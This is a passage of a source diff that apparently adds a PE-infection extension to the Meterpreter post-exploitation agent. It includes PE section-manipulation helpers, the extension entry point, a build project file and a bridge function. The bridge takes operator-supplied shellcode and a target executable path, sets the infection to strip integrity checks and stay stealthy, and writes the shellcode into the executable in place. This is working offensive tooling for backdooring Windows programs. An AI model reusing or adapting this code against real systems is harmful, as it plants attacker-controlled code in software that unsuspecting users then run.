out->section_header[out->pe_header.NumberOfSections - 1].PointerToRawData = section_raw_pointer;
|
||||
out->section_header[out->pe_header.NumberOfSections - 1].SizeOfRawData = section_memsize;
|
||||
out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress = section_rva;
|
||||
out->section_header[out->pe_header.NumberOfSections - 1].Misc.VirtualSize = memsize;
|
||||
out->section_header[out->pe_header.NumberOfSections - 1].Characteristics = characteristics;
|
||||
if (name != NULL) {
|
||||
memcpy(out->section_header[out->pe_header.NumberOfSections - 1].Name, name, MIN(NT_SHORT_NAME_LEN, namesize));
|
||||
}
|
||||
|
||||
/* Header only, don't modify data */
|
||||
if (!header_only) {
|
||||
/* Fix additional data positions */
|
||||
if ((out->additional_count > 0) && (out->additional_data != NULL)) {
|
||||
for (i = 0; i < out->additional_count; ++i) {
|
||||
if (out->additional_data[i].position
|
||||
== out->section_header[out->pe_header.NumberOfSections - 1].PointerToRawData) {
|
||||
out->additional_data[i].position += out->section_header[out->pe_header.NumberOfSections - 1].SizeOfRawData;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Adjust Optional Header */
|
||||
__petool_adjust_optional_header(out);
|
||||
|
||||
return true;
|
||||
}
|
41
c/meterpreter/source/extensions/peinjector/libpetool.h
Executable file
41
c/meterpreter/source/extensions/peinjector/libpetool.h
Executable file
@ -0,0 +1,41 @@
|
||||
/**
|
||||
* \file libpetool.h
|
||||
* \brief Applies complex operations on a given PE FILE
|
||||
*/
|
||||
|
||||
#ifndef LIBPETOOL_H_
|
||||
#define LIBPETOOL_H_
|
||||
|
||||
#include "libpefile.h"
|
||||
|
||||
/**
|
||||
* Tries to resize an existing section
|
||||
*
|
||||
* \param section_index Index of section to resize
|
||||
* \param new_raw_size New RawSize of section
|
||||
* \param new_virtual_size New VirtualSize of section
|
||||
* \param header_only Only modifies header
|
||||
* \param out PE File where the section will be resized
|
||||
*
|
||||
* \return true on success, false otherwise
|
||||
*/
|
||||
bool petool_resize_section(size_t section_index, size_t new_raw_size, size_t new_virtual_size, bool header_only,
|
||||
PEFILE *out);
|
||||
|
||||
/**
|
||||
* Tries to insert a new section into a given PE File
|
||||
*
|
||||
* \param name Name of new section
|
||||
* \param namesize Size of name
|
||||
* \param characteristics Characteristics of new section
|
||||
* \param mem Memory used for new section. If NULL, memsize zeros will be used
|
||||
* \param memsize Memory size of new section
|
||||
* \param header_only Only modifies header
|
||||
* \param out PE File where the section will be added
|
||||
*
|
||||
* \return true on success, false otherwise
|
||||
*/
|
||||
bool petool_add_section(char *name, size_t namesize, size_t characteristics, unsigned char *mem, size_t memsize,
|
||||
bool header_only, PEFILE *out);
|
||||
|
||||
#endif /* LIBPETOOL_H_ */
|
44
c/meterpreter/source/extensions/peinjector/peinjector.c
Executable file
44
c/meterpreter/source/extensions/peinjector/peinjector.c
Executable file
@ -0,0 +1,44 @@
|
||||
/*!
|
||||
* @file peinjector.c
|
||||
* @brief Entry point and intialisation definitions for the Peinjector extension
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
#include "peinjector_bridge.h"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
COMMAND_REQ("peinjector_inject_shellcode", request_peinjector_inject_shellcode),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
dprintf("[PEINJECTOR] Initializing peinjector...");
|
||||
|
||||
command_register_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Deinitialize the server extension
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
20
c/meterpreter/source/extensions/peinjector/peinjector.h
Executable file
20
c/meterpreter/source/extensions/peinjector/peinjector.h
Executable file
@ -0,0 +1,20 @@
|
||||
/*!
|
||||
* @file peinjector.h
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_H
|
||||
|
||||
#include "../../common/common.h"
|
||||
|
||||
#define TLV_TYPE_EXTENSION_PEINJECTOR 0
|
||||
|
||||
#define TLV_TYPE_PEINJECTOR_SHELLCODE MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 1)
|
||||
#define TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 2)
|
||||
#define TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64 MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 3)
|
||||
#define TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 4)
|
||||
#define TLV_TYPE_PEINJECTOR_RESULT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PEINJECTOR, TLV_EXTENSIONS + 5)
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
98
c/meterpreter/source/extensions/peinjector/peinjector_bridge.c
Executable file
98
c/meterpreter/source/extensions/peinjector/peinjector_bridge.c
Executable file
@ -0,0 +1,98 @@
|
||||
/*!
|
||||
* @file peinjector_bridge.cpp
|
||||
* @brief Wrapper functions for bridging native meterp calls to peinjector
|
||||
*/
|
||||
|
||||
#include "../../common/common.h"
|
||||
#include "peinjector.h"
|
||||
#include "peinjector_bridge.h"
|
||||
#include "libpeinfect.h"
|
||||
|
||||
void __load_config(PEINFECT *infect, BYTE* shellcode, UINT shellcode_size, bool is_x64) {
|
||||
unsigned char *test_code_x86;
|
||||
size_t test_codesize_x86 = 0;
|
||||
unsigned char *test_code_x64;
|
||||
size_t test_codesize_x64 = 0;
|
||||
PEINFECT_METHOD methods;
|
||||
bool random_section_name = true;
|
||||
size_t section_namesize = 0;
|
||||
char section_name[NT_SHORT_NAME_LEN] = { 0 };
|
||||
|
||||
/* Load integrity options */
|
||||
peinfect_set_removeintegrity(true, infect);
|
||||
peinfect_set_trystaystealth(true, infect);
|
||||
|
||||
methods = METHOD_ALL;
|
||||
|
||||
peinfect_set_methods(methods, infect);
|
||||
|
||||
/* Cross section jump iterations */
|
||||
peinfect_set_jumpiterations(1, infect);
|
||||
|
||||
/* Encryption */
|
||||
peinfect_set_encrypt(false, infect);
|
||||
peinfect_set_encryptiterations(1, infect);
|
||||
|
||||
/* New Section Name */
|
||||
peinfect_set_sectionname(NULL, 0, random_section_name, infect);
|
||||
|
||||
if (!random_section_name) {
|
||||
section_namesize = NT_SHORT_NAME_LEN;
|
||||
peinfect_set_sectionname(section_name, section_namesize, false, infect);
|
||||
}
|
||||
|
||||
/* Set shellcode */
|
||||
peinfect_set_shellcode(shellcode, shellcode_size, is_x64, infect);
|
||||
}
|
||||
|
||||
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet* response = packet_create_response(packet);
|
||||
|
||||
if (response)
|
||||
{
|
||||
BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE);
|
||||
UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE);
|
||||
BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64);
|
||||
|
||||
char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE);
|
||||
if (shellcode != NULL)
|
||||
{
|
||||
dprintf("[PEINJECTOR] recived path: %s", target_executable_path);
|
||||
dprintf("[PEINJECTOR] recived shellcode: %s", shellcode);
|
||||
dprintf("[PEINJECTOR] recived size: %d", size);
|
||||
dprintf("[PEINJECTOR] is x64: %d", is_x64);
|
||||
|
||||
PEINFECT infect;
|
||||
peinfect_init(&infect);
|
||||
|
||||
__load_config(&infect, shellcode, size, is_x64);
|
||||
|
||||
uint16_t arch = get_file_architecture(target_executable_path);
|
||||
|
||||
dprintf("[PEINJECTOR] arch: %d", arch);
|
||||
|
||||
if (!(arch == 0x014c && is_x64 == true || arch == 0x8664 && is_x64 == false)) {
|
||||
|
||||
if (peinfect_infect_full_file(target_executable_path, &infect, target_executable_path))
|
||||
dprintf("Shellcode injected successfully\n");
|
||||
else {
|
||||
dprintf("There was an error, shellcode not injected\n");
|
||||
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected");
|
||||
}
|
||||
}
|
||||
else {
|
||||
dprintf("The architecture of the file is incompatible with the selected payload\n");
|
||||
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload");
|
||||
}
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[PEINJECTOR] Shellcode parameter missing from call");
|
||||
dwResult = ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
}
|
||||
return dwResult;
|
||||
}
|
10
c/meterpreter/source/extensions/peinjector/peinjector_bridge.h
Executable file
10
c/meterpreter/source/extensions/peinjector/peinjector_bridge.h
Executable file
@ -0,0 +1,10 @@
|
||||
/*!
|
||||
* @file peinjector_bridge.h
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_BRIDGE_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PEINJECTOR_BRIDGE_H
|
||||
|
||||
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet);
|
||||
|
||||
#endif
|
||||
#pragma once
|
309
c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj
Executable file
309
c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj
Executable file
@ -0,0 +1,309 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="r7_release|Win32">
|
||||
<Configuration>r7_release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="r7_release|x64">
|
||||
<Configuration>r7_release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{2A4FDCA0-A620-4E98-AF05-2B2F227F5166}</ProjectGuid>
|
||||
<RootNamespace>ext_server_peinjector</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup>
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules />
|
||||
<CodeAnalysisRuleAssemblies />
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_peinjector.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_peinjector.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_peinjector.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_peinjector.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_peinjector.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_peinjector.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ext_server_peinjector.map</MapFileName>
|
||||
<SubSystem>NotSet</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ext_server_peinjector.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\extensions\peinjector\libpefile.c" />
|
||||
<ClCompile Include="..\..\source\extensions\peinjector\libpeinfect.c" />
|
||||
<ClCompile Include="..\..\source\extensions\peinjector\libpeinfect_obfuscator.c" />
|
||||
<ClCompile Include="..\..\source\extensions\peinjector\libpetool.c" />
|
||||
<ClCompile Include="..\..\source\extensions\peinjector\peinjector.c" />
|
||||
<ClCompile Include="..\..\source\extensions\peinjector\peinjector_bridge.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\extensions\peinjector\headers.h" />
|
||||
<ClInclude Include="..\..\source\extensions\peinjector\libpefile.h" />
|
||||
<ClInclude Include="..\..\source\extensions\peinjector\libpeinfect.h" />
|
||||
<ClInclude Include="..\..\source\extensions\peinjector\libpeinfect_obfuscator.h" />
|
||||
<ClInclude Include="..\..\source\extensions\peinjector\libpetool.h" />
|
||||
<ClInclude Include="..\..\source\extensions\peinjector\peinjector.h" />
|
||||
<ClInclude Include="..\..\source\extensions\peinjector\peinjector_bridge.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\backcompat\backcompat.vcxproj">
|
||||
<Project>{c6fb3275-9067-4bba-9206-0a720d2bc64f}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
<ProjectReference Include="..\common\common.vcxproj">
|
||||
<Project>{9e4de963-873f-4525-a7d0-ce34edbbdcca}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
<ProjectReference Include="..\metsrv\metsrv.vcxproj">
|
||||
<Project>{37e24f8f-1bd9-490b-8cd2-4768b89e5eab}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
